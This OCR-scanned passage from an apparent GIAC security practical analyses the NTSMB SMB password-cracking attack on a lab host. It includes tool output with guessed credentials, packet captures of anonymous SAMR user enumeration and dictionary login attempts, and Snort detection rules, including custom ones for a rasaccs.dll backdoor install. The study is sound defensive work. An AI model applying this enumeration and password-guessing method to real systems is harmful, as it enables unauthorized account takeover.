192 .168.28% .201
192168 .20% 201
Scan Complete. Found 1
Remember that audited passwords are case INsensitive

Figure 18. NTSMB when anonymous logon is allowed

admin2 password
admin2

admin2 admin2
admin2 admin2i
admin2 admin212
admin2 admin2123
admin2 Znimda
admin2 admin

admin2 test

adminl password
admini

adminl admini
adminl adminii
adminl adminii2
adminl adminii23
adminl inimda
adminl admin

adminl test
administrator 12345
administrator secret
Found administrator:secret

As part of GIAC practical repository.
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C:SWIHNHNT~Tempintsmb res.txt

192 .168.209 201 Attempting Enumerate Uia SID
0 T ] L s Hull Session Rejected

192 .168.209 201 Enumerate Failed

0 T ] L s admninistrator password

192 .168.209 201 administrator

192 .168.209 281 administrator administrator
192 .168.209 201 administrator administratorl
192 .168.209 281 administrator administratorl
192 .168.209 201 administrator administratorl3
192 .168.209 281 administrator rotartsinimda
192 .168.209 201 administrator admin

192 .168.209 281 administrator test

192 .168.209 281 admin password

192 168 .260%.2681 admin

192 .168.268%.2681 admin admin

192 168 .260%.2681 admin adminl

192 .168.268%.2681 admin adminil2

192 168 .260%.2681 admin adminl23

192 .168.268%.2681 admin nimda

192 168 .260%.2681 admin admin

192 .168.268%.2681 admin test

192 .168.209 201 administrator 12345

192 .168.209 281 administrator secret

192 .168.209 201 Found administrator:isecret
Scan Complete. Found 1

Remember that auwdited passwords are case INsenszitive

Figure 19. NTSMB when anonymous logon is disabled

Based on the concept of the SMB protocol described in the previous section, this
section will concentrate on analyzing how the SMB protocol is actually used by
the ntsmb.exe. By passing the packets captured while the ntsmb.exe is being
used in guessing passwords to the Ethereal?® packet analyzer, below is the
summary of the ntsmb.exe in action.

1. Transport layer session establishment
a. The attacker initiates the connection, sends SYN packet to the victim on
TCP port 445 and 139
b. The attacker receives victim’s responses, i.e. SYN-ACK from the victim,
on both port 445 and 139
c. The attacker continues the session on port 445 (by responding with ACK)
and terminates the connection on port 139 (by sending RST).

2. SMB protocol negotiation
a. The attacker sends a SMB Negotiate Protocol Request (0x72) command
packet to the victim, with all CIFS dialects it understands. In this case, the
attacker appears to understand
e 0 - PC Network Program 1.0

e 1—-Lanman 1.0

e 2 — Windows for Workgroups 3.1a
e 3-1LM1.2X002

e 4 —Lanman2.1

e 5-NTLMO.12

26 hitp://www.ethereal.com/
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b. The victim responses with a SMB Negotiate Protocol Response (0x72)
command packet, selecting the dialect it would like to use, which is the
highest-dialect that the server (victim) understand, i.e. Option 5 — the NT
LM 0.12 in this case.

3. SMB session establishment — anonymous user accounts

a. The attacker sends a SMB Session Setup AndX Request (0x73) packet. It
contains NTLMSSP identifier (NTLMSSP) with NTLMSSP_NEGOTIATE
message type. Since this session setup request does not include an
‘accountName’ in the data, the attacker tries to login anonymously.

b. The Victim responds with a SMB Session Setup AndX Response (0x73)
command packet. It includes the
STATUS_MORE_PROCESSING_REQUIRED error message. This is an
indication that there are more Extended Security packets required.

c. The attacker sends another SMB Session Setup AndX Request (0x73).
This time, it contains NTLMSSP identifier (NTLMSSP) with
NTLMSSP_AUTH message type and explicitly includes the NULL
username and the attacker’s hostname. So, the attacker still tries to login
anonymously.

d. The Victim responds with a SMB Session Setup AndX Response (0x73)
command packet that contains the STATUS_SUCCESS NT status. At
this point, the SMB Session has been successfully established through
anonymous user login.

4. IPCS$ connection
a. The Attacker sends a SMB Tree Connect Andx Request command (0x75)
to request access to the hidden IPC$ share.
b. The victim responds with a SMB Tree Connect Andx Response command
(0x75) that includes STATUS_SUCCESS NT status to acknowledge the
attacker’s request for accessing the hidden IPC$ share.

5. Access to \samr named pipe — SMB level

a. SMB NT Create AndX Request, Path: \samr
The attacker sends a SMB NT_CREATE_ANDX (0xa2) request to access
the SAM service (\samr) of the victim.

b. SMB NT Create AndX Response, FID: 0x4000
The victim replies with a positive SMB NT_CREATE_ANDX (0xa2)
response. The requested file has been successfully opened and identified
with FID 0x4000.
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SMB Megotiate Protocol Reguest (0x72)
Advertize the supported dialectz

SMB Negotiate Protocol Rezponze (0x72)
Select a dialect - NT LM 0.12 in this case

e

SMB Session Setup AndX Regquest (0x73)
NTLM Meszage Type: NTLMSSP_NEGOTIATE —
Anonymous login (No AccountMame }
SMB Session Setup AndX Responze (0x73)
NTLM Message Type: NTLMSSP_CHALLANGE
Err: Status_More Processing Reguired
SMB Session Setup AndX Reguest (0x73)
NTLM Mezsage Type: NTLMSSP_AUTH ——78M
Anonymous login (NULL Username}

SMB Ses=ion Setup AndX Rezponze (0x73)
NT Status: STATUS_SUCCESS

SMB Tree Connect AndX Request (0x75)
it L e
WictimIPCS

SMB Tree Connect AndX Response (0x75)
NT Status: STATUS_SUCCESS

SMB NT Create AndX Request (0xa2)
: —_—
Path: \=amr

SMB NT Create AndX Response (0xaZ)
FID: 0x4000, NT Status: STATUS_SUCCESS

DCE/RPC Bind Reguest (0xa2)
UUID: SAMR
DCE/RPC Bind_ack (0xaZ)
NT Status: STATUS SUCCESS

- =

SamrConnect
SamrOpenDeomain
SamrEnumerateDomainsinSamSeryer
SamrLoockupDomaininSamServer
SamrOpenDomain
SamrEnumerateDomainsinSamServer
SamrOpenUser
SamrQueryln formationUser
SamrQuerySecurityObject
SamriGetGroupForUser
SamrGetaliasMembership
SamrCloseHandle

SMB Session Setup AndX Reguests & Reguests with
different uzer names and passwords

Figure 20. NTSMB In Action
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6. Access to \samr named pipe — DCE/RPC level
a. SMB Transaction — DCE/RPC Bind: call_id: 1 UUID: SAMR
The attacker sends a DCE RPC bind request to establish a logical
connection to the SAMR named pipe at the DCE/RPC level, to the victim
machine.
b. DCERPC Bind_ack: call_id: 1 accept max_xmit:4280 max_recv: 4280
The victim confirms that the pipe is open that the DCE/RPC level.

The screen shot below illustrates Step 7 — 6 (above) when viewed via Ethereal.

10.000000 192.168.209.167  192.168.209.201 TP 1073 s microsoft-ds [SYN] Seq=3001721375 Ack=D Win=b4240 Len=0 NSS=1460

20.00008  192.168.209.67  192.168.209.001 TP 1074 » netbios-ssn [SYN] Seq=300178239) Ack=D Win=64240 Len=0 NSS=1460

J0.02978  192.168.209.01  192.163.209.167 TP wicrosoft-ds » 1073 [SWN, ACK] Seq=3110349199 ack=3001721376 Win=b4240 Len=0 NSS=1460
£0.02960% 192.168.209.201  192.168.209.167 TP nethios-ssn > 1074 [SYN, ACK] Seq=3110408509 Ack=30017825%6 Win=64240 Len=0 WSS=1460
§0.0093% 192.168.209.067  192.368.209.01 TP 1073 s microsoft-ds [ACK] Seq=3001721376 Ack=3110349200 Win=E4240 Len=)

6O.00966 192.168.209.167  192.168.209.201 TP 1074 5 nethios-ssn [RST] Seq=3001782596 Ack=30017825% Win=0) Len=0

70049613 192.168.209.167  192.168.200.201 S Megotiate Protocol Reguest

§0.06765% 19216820900 192.168.209.167 S Megotiate Protacol Respanse

90077555  192.168.209.167  192.163.200.201 S Session Setup AndX Requast, NTLMSSP_NEGOTIATE

10°0.188284  192.168.209.201 192,168.209.167 S8 Session Setup AndX Response, NTLMSSP_CHALLENGE, Errar: STATUS_WORE_PROCESSING_REQUIRED
L0044 192.168.209.167  192.168.209.201 9B Session Setup Andx Request, NTLWSSP_AUTH

2020847 192168209200 192.168.209.167 B Session Setup AndX Response

13020047 192.168.20.167  192.168.209.01 @B Tree Connect AndX Request, Path: \\192.168.209. 201\IPCS

14049499 192.168.209.200  192.168.209.167 9B Tree Connect And¥ Response

150.90457  192.168.209.167  192.168.209.201 B T Create And Request, Path: \sawr

160440050 192.168.209.201  192.168.209.167 B NT Create AnX Response, FID: 0x4000

170461290 192.168.209.167  192.168.209.201  DCERPC Bind: call_id: 1 UUID: SAMR

150495619 192.168.208.201  192.168.209.167  DCERPC Bind_ack: call_id: 1 accept mamt: 4280 max_recy: 4280

Figure 21. NTSMB In Action — Step 1 to 6 (Ethereal)

7. DCE/RPC function calls/operations
Some of the operations below are repeated several times depending on the
information (e.g. domains, user groups and their membership, etc.) obtained
from the victim. The attacker starts by opening the BUILTIN domain, i.e. S-1-
5-32.

SamrConnect

SamrOpenDomain

SamrEnumerateDomainsInSamServer

SamrLookupDomaininSamServer

SamrOpenDomain

SamrEnumerateDomainsinSamServer

SamrOpenUser

SamrQuerylnformationUser

SamrQuerySecurityObject — a sample of the returned security object is

showed in the figure below.

e Y
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~ Microsoft Security Account Manager
Operation: SamrQuerySecurityObject (3)
~ LSA_SECURITY_DESCRIPTOR pointer:
Referent ID: 0x000a7d40
= LSA_SECURITY_DESCRIPTOR:
Size: 108
= LSA SECURITY DESCRIPTOR data:
Referent ID: 0x000b70e0
Size: 108
= NT Security Descriptor
Revision: 1
- Type: 0x8004

1... ...t vvus wu.. = Self Relative: This SecDesc is SELF RELATIVE
tee +uen+ -... = SACL Protected: The SACL is NOT protected
e +usu: .... = DACL Protected: The DACL is NOT protected
iee wee+ ov.. = SACL Auto Inherited: SACL is NOT auto inherited
.0.. .... .... = DACL Auto Inherited: DACL 1is NOT auto inherited
0. .... .... = SACL Auto Inherit Required: SACL does NOT require auto inherit
...0 .... .... = DACL Auto Inherit Required: DACL does NOT require auto inherit
vew wu00 L. = SACL Defaulted: SACL is NOT defaulted
ce-. ...0 ... = SACL Present: SACL is NOT present
ves wu.. 0... = DACL Defaulted: DACL is NOT defaulted
weev wv.. .1.. = DACL Present: DACL is PRESENT
e+ vuw. ..0. = Group Defaulted: Group is NOT defaulted

et tvee wuw. -..0 = Owner Defaulted: Owner is NOT defaulted
offset to owner SID: 0
0ffset to group SID: 0
offset to sacL: O
offset to DACL: 20
— NT User (DACL) ACL
Revision: 2
Size: 88
Num ACEs: 3
~ NT ACE: 5-1-1-0, flags 0x00, Access Allowed
Type: Access Allowed (0)
<~ NT ACE Flags: 0x00
O... .... = Audit Failed Accesses: Failed accesses will not be audited
0., .... = Audit Successful Accesses: Successful accesses will not be audited
.0 .... = Inherited ACE: This ACE was not inherited from its parent ocbject
0... = Inherit Only: This ACE applies to the current object
.0.. = Non-Propagate Inherit: Subordinate object will propagate the inherited ACE further
= Container Inherit: Subordinate containers will not inherit this ACE
= Object Inherit: Subordinate files will not inherit this ACE

Size: 20
<~ Access required: 0x0002035b
> Generic rights: Ox00000000

O el il e vevd dees wae. = Maximum allowed: Not set
ceee eeea OO0 Ll Lol L.l ... ... = Access SACL: Not set
= Standard rights: 0x00020000

20 iieh iier siie sies ww.. = Synchronise: Mot set
O... .evt tvis vvve .v.. = Write owner: Not set

0., L. ... .... .... = Write DAC: Not set

1. ... ... ... .... = Read control: Set

o eive- -... = Delete: Not set

= LSA specific rights: Ox0000035b
= Lookup names: Not set
Server admin: Not set
Set audit requirements: Set
Set default guota Tlimits: Not set
Create privilege: Set
Create secret: MNot set
Create account: Set
Trust admin: Set
Get private info: Not set
= View audit info: Set
aer weas wmes sees sses sese sses 2..l = View local dinfo: Set
[» NT ACE: 5-1-5-32-544, flags Ox00, Access Allowed
[ NT ACE: S-1-5-21-527237240-329068152-839522115-500, flags Ox00, Access Allowed
Return code: STATUS_SUCCESS (0x00000000)

o
-R
B
oo

Figure 22. NTSMB In Action — SamrQuerySecurityObject
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J-

SamrGetGroupForUser

k. SamrGetAliasMembership

SamrCloseHandle

8. Free the open handles/sessions/connections.

Step 7-8 are illustrated in the figure below.

No. - "ﬁme |Saurce |Deshnaﬁon ‘Protoco\ ‘Info
21 0.507335  192.168.209.167 192.168.209.201 SAMR  SamrOpenDomain request, S5-1-5-32
22 0.531343  192.168.209.201 192.168.209.167 SAMR  SamrOpenDomain response
23 0.531348  192.168.209.167 192.168.209.201 SAMR  SamrEnumerateDomainsInSamServer regquest
24 0.541979  192.168.209.201 192.168.209.167 SAMR  SamrEnumerateDomainsInSamServer response
25 0.562419  192.168.209.167 192.168.209.201 SAMR  SamrLookupDomainInSamServer reguest
26 0.580006  192.168.209.201 192.168.209.167 SAMR  SamrLockupDomainInSamServer response
27 0.580088  192.168.209.167 192.168.209.201 SAMR  SamrOpenDomain request, S-1-5-21-527237240-329068152-839522115
28 0.591881  192.168.209.201 192.168.209.167 SAMR  SamrOpenDomain response
29 0.591888  192.168.209.167 192.168.209.201 SAMR  SamrEnumeratelUsersInDomain request
30 0.606675  192.168.209.201 192.168.209.167 SAMR  SamrEnumeratelUsersInDomain response
31 0.606710  192.168.209.167 192.168.209.201 SAMR  SamrOpenUser request, rid Ox1f4
32 0.630308  192.168.209.201 192.168.209.167 SAMR  SamrOpenUser response
33 0.630313  192.168.209.167 192.168.209.201 SAMR  SamrQueryInformationUser request, level 21
34 0.645488  192.168.209.201 192.168.209.167 SAMR  SamrqQueryInformationUser response
35 0.645493  192.168.209.167 192.168.209.201 SAMR  SamrQuerySecurityObject reguest, info_type 4
36 0.657908  192.168.209.201 192.168.209.167 SAMR  SamrQuerySecurityObject response
37 0.670150  192.168.209.167 192.168.209.201 SAMR  SamrGetGroupsForUser request
38 0.670155  192.168.209.201 192.168.209.167 SAMR  SamrGetGroupsForUser response
39 0.670159  192.168.209.167 192.168.209.201 SAMR  SamrGetAliasMembership request
40 0.670161  192.168.209.201 192.168.209.167 SAMR  SamrGetAliasMembership response
41 0.692223  192.168.209.167 197.168.209.201 SAMR  SamrCloseHandle request, OpenUser(rid 0x1f4)
42 0.704256  192.168.209.201 192.168.209.167 SAMR  SamrCloseHandle response
43 0.704347  192.168.209.167 192.168.209.201 SAMR  SamrOpenUser request, rid Ox1f5
44 0.729967  192.168.209.201 192.168.209.167 SAMR  SamrOpenUser response
45 0.729972  192.168.209.167 192.168.209.201 SAMR  SamrQueryInformationUser request, level 21
46 0.730002  192.168.209.201 192.168.209.167 SAMR  SamrQueryInformationUser response
47 0.730065  192.168.209.167 192.168.209.201 SAMR  SamrQuerySecurityObject request, info_type 4
48 0.730067  192.168.209.201 192.168.209.167 SAMR  SamrQuerySecurityObject response
49 0.769503  192.168.209.167 192.168.209.201 SAMR  SamrGetGroupsForUser request
50 0.769579  192.168.209.201 192.168.209.167 SAMR  SamrGetGroupsForUser response
51 0.769610  192.168.209.167 192.168.209.201 SAMR  SamrGetAliasMembership reguest
52 0.769613  192.168.209.201 192.168.209.167 SAMR  SamrGetAliasMembership response
53 0.769615  192.168.209.167 192.168.209.201 SAMR  SamrCloseHandle request, OpenUser(rid 0x1f5)
54 0.769618  192.168.209.201 192.168.209.167 SAMR  SamrCloseHandle response
55 0.769620  192.168.209.167 192.168.209.201 SAMR  SamrOpenUser request, rid Ox3e8
56 0.769623  192.168.209.201 192.168.209.167 SAMR  SamrOpenUser response
57 0.769625  192.168.209.167 192.168.209.201 SAMR  SamrQueryInformationUser request, level 21
58 0.769628  192.168.209.201 192.168.209.167 SAMR  SamrQueryInformationUser response
59 0.769630  192.168.209.167 192.168.209.201 SAMR  SamrQuerySecurityObject reguest, info_type 4
60 0.769661  192.168.209.201 192.168.209.167 SAMR  SamrQuerySecurityObject response
61 0.769692  192.168.209.167 192.168.209.201 SAMR  SamrGetGroupsForUser request
62 0.769695  192.168.209.201 192.168.209.167 SAMR  SamrGetGroupsForUser response
63 0.769697  192.168.209.167 192.168.209.201 SAMR  SamrGetAliasMembership request
64 0.769700  192.168.209.201 192.168.209.167 SAMR  SamrGetAliasMembership response
65 0.769703  192.168.209.167 192.168.209.201 SAMR  SamrCloseHandle request, OpenUser(rid 0x3e8)
66 0.769705  192.168.209.201 192.168.209.167 SAMR  SamrCloseHandle response
67 0.769707  192.168.209.167 192.168.209.201 SAMR  SamrCloseHandle request, OpenDomain(S-1-5-21-527237240-329068152-839522115)
68 0.769710  192.168.209.201 192.168.209.167 SAMR  SamrCloseHandle response
69 0.769712  192.168.209.167 192.168.209.201 SAMR  SamrCloseHandle request, OpenDomain(s-1-5-32)
70 0.799524  192.168.209.201 192.168.209.167 SAMR  SamrCloseHandle response
71 0.799529  192.168.209.167 192.168.209.201 SAMR  SamrCloseHandle request, Connect2 handle
72 0.799532  192.168.209.201 192.168.209.167 SAMR  SamrCloseHandle response
73 0.799535  192.168.209.167 192.168.209.201 SMB Close Request, FID: 0x4000
74 0.799537  192.168.209.201 192.168.209.167 SMB Close Response
75 0.870030  192.168.209.167 192.168.209.201 SMB Logoff AndX Reguest
76 0.900846  192.168.209.201 192.168.209.167 SMB Logoff AndX Response
77 0.900850  192.168.209.167 192.168.209.201 SMB Tree Disconnect Request
78 0.927660  192.168.209.201 192.168.209.167 SMB Tree Disconnect Response

Figure 23. NTSMB In Action — Step 7 to 8 (Ethereal)

9. Dictionary Password Cracking utilizing collected usernames in addition to the
user accounts and password dictionary files. As shown in the packet capture
below, the attacker try to establish SMB session using the different username

and password combinations.
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79 0.963991  192.168.209.167 192.168.209.201 Tcp 1075 » nethios-ssn [SYN] Seq=3002072538 Ack=0 Win=64240 Len=0 M55=1460
80 0.963995  192.168.209.167 192.168.209.201 Tcp 1073 » microsoft-ds [FIN, ACK] Seq=3001726416 Ack=3110355005 Win=63471 Len=0
81 0.989875  192.168.209.201 192.168.209.167 Tcp nethios-ssn > 1075 [SYN, ACK] Segq=3110688730 Ack=3002072539 Win=64240 Len=0 M55=1460
82 0.989879  192.168.209.201 192.168.209.167 Tcp microsoft-ds > 1073 [FIN, ACK] Seqg=3110355005 Ack=3001726417 Win=63717 Len=0
83 0.989881  192.168.209.167 192.168.209.201 Tcp 1075 » nethios-ssn [ACK] Seq=3002072539 Ack=3110688731 Win=64240 Len=0
84 0.989884  192.168.209.167 192.168.209.201 Tcp 1073 » microsoft-ds [ACK] Seq=3001726417 Ack=3110355006 Win=63471 Len=0
85 0.989886  192.168.209.167 192.168.209.201 NBSS  Session request, to *SMBSERVER<20: from MBE<00=

86 1.018825  192.168.209.201 192.168.209.167 NBSS  Positive session response

87 1.018907  192.168.209.167 192.168.209.201 SMB Negotiate Protocol Request

88 1.018910  192.,166.209.201 192.168.209.167 SMB  Negotiate Protocol Response

89 1.018912  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

90 1.030706  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

91 1.049856  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

92 1.049860  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

93 1.049862  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

94 1.049865  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

95 1.049868  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

96 1.049948  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

97 1.049952  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

98 1.049954  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

99 1,049956  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

100 1.049958  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

101 1.049960  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

102 1.049962  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

103 1.049964  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

104 1.049966  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

105 1.049969  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

106 1.099502  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

107 1.099506  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

108 1.099509  192.168.209.201 192.168.209.167 SMB  Session Setup AndX Response, Error: Access denied

109 1.099511  192.168.209.167 192.168.209.201 SMB Session Setup AndX Request, User: SOUP\administrator

110 1.099514  192.168.209.201 192.168.209.167 Tcp nethios-ssn > 1067 [RST] Seq=3097816959 Ack=3002073812 Win=0 Len=0

111 1.099517  192.168.209.201 192.168.209.167 SMB Session Setup AndX Response

112 1.099519  192.168.209.167 192.168.209.201 TCp 1075 » nethios-ssn [RST] Seq=3002073912 Ack=3110689238 Win=0 Len=0

Figure 24. NTSMB In Action — Dictionary Password Cracking (Ethereal)

lllustrated in the figure below is the last SMB Session Setup AndX Response
once the ntsmb.exe successfully cracked an administrator account.

@ 111 1.099517 192.168.209.201 192.168.209.167 SMB Session Setup AndX Response

Frame 111 (146 bytes on wire, 146 bytes captured)
Ethernet II, Src: 00:0c:29:bd:24:06, Dst: 00:0c:29:6b:3d:30
Internet Protocol, Src Addr: 192.168.209.201 (192.168.209.201), Dst addr: 192.168.209.167 (192.168.209.167)
Transmission Control Protocel, Src Port: netbios-ssn (139), Dst Port: 1075 (1075), Seq: 3110689238, Ack: 3002073912, Len: 92
NetBIOS Session Serwice
~ SMB (Server Message Block Protocol)
~ SMB Header
Server Component: SMB
Response to: 109
Time from reguest: 0.000006000 seconds
SMB Command: Session Setup AndxX (0x73)
Error Class: Success (0x00)
Reserved: 00

e

Error Code: No Error

> Flags: 0Ox80

I Flags2: 0x0000
Process ID High: 0
Signature: 0000000000000000
Reserved: 0001
Tree ID: 0
Process ID: 1001
User ID: 2048
Multiplex ID: O

< Session Setup AndX Response (0x73)

wWord Count (WCT): 3
AndXCommand: No further commands (0xff)
Reserved: 00
Andxoffset: 88

~ Action: 0x0000

............... 0 = Guest: Not logged in as GUEST

Byte Count (BCC): 47
Native 0S: Windows 5.0
Native LAN Manager: Windows 2000 LAN Manager
Primary Domain: WORKGROUP

Figure 25. NTSMB In Action — Admin account successfully cracked (Ethereal)
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2.6 Signature of the attack
2.6.1 Network-based Detection

Almost all stages of this attack left some traces on the network. The signatures
described in this section are based on Snort Version 2.1.2.

1. Flow-portscan preprocessor?’

Referring to the Snort documentation, the goal of this preprocessor is to
detect one to many hosts and one to many ports scans. The flow-portscan
configuration below is used to detect the scanning stage of this attack. More
explanations on each component of the flow-portscan configuration below can
be in the Snort Manual®’.

preprocessor flow-portscan: talker-sliding-scale-factor 0.50 talker-fixed-
threshold 30 server-ignore-limit 200 alert-mode once server-rows 32000
scoreboard-memcap-scanner 16777216 scoreboard-memcap-talker
16777216 scanner-sliding-scale-factor 0.50 scanner-sliding-window 20 talker-
sliding-threshold 30 tcp-penalties on talker-sliding-window 20 scoreboard-
rows-scanner 10000 talker-fixed-window 30 server-learning-time 14400
server-scanner-limit 4 scanner-fixed-threshold 15 output-mode pktkludge
server-memcap 4194304 scanner-sliding-threshold 40 scoreboard-rows-talker
10000 scanner-fixed-window 15 base-score 1

2. Snort signatures related to NETBIOS SMB shares (IPC$, C$, and ADMINS)
access

When the NTSMB password cracker is launched, it attempts to access both
the IPC$ and C$ shares. In addition to these two shares, this attack tries to
access the ADMINS (%systemroot%) share while installing the rasaccs.dll
backdoor. Therefore, there will be increased alerts on these signatures.

e NETBIOS SMB IPCS$ share access (SIGID 537?% 538%° 2465, 2466%")

These signatures are triggered when there are attempts to access the IPC$
hidden share.

alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB
IPC$ share access"; flow:to_server,established; content:"|00|"; depth:1;
content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,<,128,6,relative;

27 http://www.snort.org/docs/snort_manual/node17.htmI#SECTION00385000000000000000
28 hitp://www.snort.org/snort-db/sid.html?sid=537

% http://www.snort.org/snort-db/sid.html?sid=538

30 hitp://www.snort.org/snort-db/sid.html?sid=2465

31 http://www.snort.org/snort-db/sid.html?sid=2466
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content:"IPC|24 00|"; distance:32; nocase:; classtype:protocol-commanad-
decode; sid:537; rev:9; )

alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB
IPC$ share unicode access"; flow:to_server,established; content:"|00|";
depth:1; content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,>,127,6,relative;
content:"l|00|P|00|C|00 24 00 00|"; distance:32; nocase:; classtype:protocol-
command-decode; sid:538; rev:8; )

alert tcpo SEXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-
DS IPC$ share access"; flow:to_server,established; content:"|00|"; depth:1;
content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,<,128,6,relative;
content:"IPC|24 00|"; distance:32; nocase:; classtype:protocol-command-
decode; sid:2465; rev:1;)

alert tcp SEXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-
DS IPC$ share unicode access"; flow:to_server,established; content:"|00|";
depth:1; content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,>,127,6,relative;
content:"l|00|P|00|C|00 24 00 00|"; distance:32; classtype:protocol-command-
decode; nocase:; sid:2466; rev:1; )

e NETBIOS SMB C$ share access (SIGID 533%, 2470%, 24713, 2472%)

These signatures are triggered when there are attempts to access the C$
hidden share.

alert tcpo SEXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB
C$ share access"; flow:to_server,established; content:"|00|"; depth:1;
content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,<,128,6,relative;
content:"C|24 00|"; distance:32; nocase:; classtype:protocol-command-
decode; sid:533; rev:6; )

alert tcp SEXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB
C$ share unicode access"; flow:to_server,established; content:"|00|"; depth:1;
content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,>,127,6,relative;
content:"C|00 24 00 00|"; distance:32; nocase:; classtype:protocol-command-
decode; sid:2470; rev:1;)

alert tcp SEXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-
DS C$ share access"; flow:to_server,established; content:"|00|"; depth:1;
content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,<,128,6,relative;

32 hitp://www.snort.org/snort-db/sid.html?sid=533

33 hitp://www.snort.org/snort-db/sid.html?sid=2470
34 http://www.snort.org/snort-db/sid.html?sid=247 1
35 http://www.snort.org/snort-db/sid.html?sid=2472
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content:"C|24 00|"; distance:32; nocase:; classtype:protocol-command-
decode; sid: 2471; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-
DS C$ share unicode access”; flow:to_server,established; content:"|00|";
depth:1; content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,>,127,6,relative;
content:"C|00 24 00 00|"; distance:32; nocase:; classtype:protocol-command-
decode; sid: 2472; rev:1;)

* NETBIOS SMB ADMINS share access (SIGID 532%°, 2473, 2474%,
2475%)

These signatures are triggered when there are attempts to access the
ADMINS$ hidden share.

alert tcp SEXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB
ADMINS$ share access"; flow:to_server,established; content:"|00|"; depth:1;
content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,<,128,6,relative;
content:"ADMIN|24 00|"; distance:32; nocase:; classtype:protocol-command-
decode; sid:532; rev:6; )

alert tcp SEXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB
ADMIN$ share unicode access"; flow:to_server,established; content:"|00|";
depth:1; content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,>,127,6,relative;
content:"A|00|D|00|M|00|/|00|N|00 24 00 00|"; distance:32; nocase:;
classtype:protocol-command-decode; sid:2473; rev:1; )

alert tcpo SEXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-
DS ADMINS$ share access"; flow:to_server,established; content:"|00|"; depth:1;
content:"|FF|SMB|75|"; offset:4; depth:5; byte test:1,<,128,6,relative;
content:"ADMIN|24 00|"; distance:32; nocase:; classtype:protocol-command-
decode; sid:2474; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-
DS ADMIN$ share unicode access"; flow:to_server,established;
content:"|00|"; depth:1; content:"|FF|SMB|75|"; offset:4; depth:5;

byte test:1,>,127,6,relative; content:"A|00|D|00|M|00|/|00|N|00 24 00 00|";
distance:32; nocase:; classtype:protocol-command-decode; sid:2475; rev:1; )

3. Custom Snort signatures

e [Installation of rasaccs.dll backdoor(SIGID 1000001, 1000002)

3¢ http://www.snort.org/snort-db/sid.html?sid=532

37 hitp://www.snort.org/snort-db/sid.html?sid=2473
38 http://www.snort.org/snort-db/sid.html?sid=2474
3 http://www.snort.org/snort-db/sid.html?sid=2475
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The two custom signatures below detect the rasaccs.dll backdoor installation
attempts.

alert tcp EXTERNAL_NET any -> $HOME_NET 445 (msg:"Attempted
rasaccs backdoor”; flow:to_server,established; content"’| 00|"; depth:1;
content:"|FF|SMB|25|"; offset:4; depth:5; content:"rasaccs\.dll\,Rundllinstall”;
nocase:; classtype: misc-attack; sid: 1000001; rev:1; )

alert tcp SEXTERNAL_NET any -> $HOME_NET 139 (msg:"Attempted
rasaccs backdoor”; flow:to_server,established; content"’| 00|"; depth:1;

content:"|FF|SMB|25|"; offset:4; depth:5; content:"rasaccs\.dll\,Rundllinstall”;
nocase:; classtype:misc-attack; sid:1000002; rev:1; )

These signatures look for established SMB traffic on TCP 139 or 445 that
contain SMB TransactNmPipe command (0x25) and the
rasaccs\.dll\,Rundllinstall string. Both of these characteristics are circled in
red in the packet below. These two signatures are useful in case the attacker
decided to launch similar attacks from other compromised machines.

[ Transmission Control Protocol, Src Port: 1158 (1158), Dst Port: microsoft-ds (445), Seq: 589191960, ack: 2659092112, Len: 1460
I NetBIOS Session Service

~ SME (Server Message Block Protocol)

> SMBE Header
[ Trans Request
= SMB Pipe Protocol
Function: TransacthmPipe (0x0026)
FID: 0x400d
Data (1372 bytes)

Fa 3e 2c ca 00 00 Gl 53 4d 42 2

00 00 00 00 00 00 00 5
00 0d 40 35 24 05
5c 00 00 00 00 00 c8

00 00 00 00 00 OO 0O 00
73 2e 64 6c 6c 2c 52 75
61 6c 6c 20 00 00 0O 00
00 00 00 00 00 00 00 00
00 00 00 00 00 OO 0O 00 00 00 00 0O 00 00 00 00

